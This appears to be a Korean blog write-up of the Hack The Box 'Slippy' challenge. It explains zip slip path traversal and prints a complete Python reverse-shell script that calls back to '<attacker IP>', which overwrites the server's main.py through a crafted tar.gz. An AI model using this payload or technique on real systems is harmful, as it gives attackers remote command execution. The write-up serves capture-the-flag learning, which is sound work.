Information Security/General Technique
Hack The Box: Slippy
hackcatml
2021. 12. 30. 15:43
반응형
※ 문제 출처: https://app.hackthebox.com/challenges/slippy
zip slip attack 문제입니다. zip slip attack은 압축파일명에 ../../ 와 같은 path traversal 문구를 포함하여 압축 해제시 압축파일이 상위 디렉터리에 풀리도록 하는 공격 기법입니다.(출처: https://github.com/snyk/zip-slip-vulnerability)
2018년에 많은 CVE가 등록되었군요.
문제로 들어가서, tar.gz 파일을 업로드하면 압축을 해제하여 보여주고 있습니다.(test2.html을 압축한 test.tar.gz 파일을 업로드하였습니다.)
압축해제된 파일은 "/app/application/static/archives/<랜덤문자열>/" 경로에 저장되고 있습니다.
첨부된 파일을 다운로드하여 살펴보면 플라스크 웹서버 구동 시 "/app/application/main.py" 파일이 실행되는 구조입니다.
따라서, main.py 파일을 reverse shell 파일로 바꿔치기하면 서버에 접근이 가능할 것 같습니다.
https://github.com/Lojacops/RevShell 에 간단한 파이썬 리버스쉘 코드가 있습니다. 이를 참고하여 main.py 파일을 만듭니다.
import socket
import os
import subprocess
target = '<attacker IP>'
targetport = <attacker port>
host = target
port = targetport
sep = "<->"
def main():
try:
s = socket.socket()
s.connect((host, port))
print("client on! Now, get manipulated!")
cwd = os.getcwd()
s.send(cwd.encode())
while True:
option = s.recv(1024).decode()
splited_command = option.split()
if option.lower() == "exit":
break
if splited_command[0].lower() == "cd":
try:
os.chdir(' '.join(splited_command[1:]))
except FileNotFoundError as e:
output = str(e)
else:
output = ""
else:
output = subprocess.getoutput(option)
cwd = os.getcwd()
message = f"{output}{sep}{cwd}"
s.send(message.encode())
s.close()
except TimeoutError:
print("ERROR: unable to establish a connection.")
main()
이제 경로를 포함하여 .tar.gz 파일을 만듭니다. P 옵션을 사용하면 경로를 포함하여 압축할 수 있습니다.(man tar 참고)
칼리에서 netcat 서버 구동(라우터 포트포워딩 설정 필요) 해주고, 리버스쉘이 포함된 .tar.gz 파일 업로드하면 리버스쉘이 연결되어 플래그 획득이 가능합니다.
반응형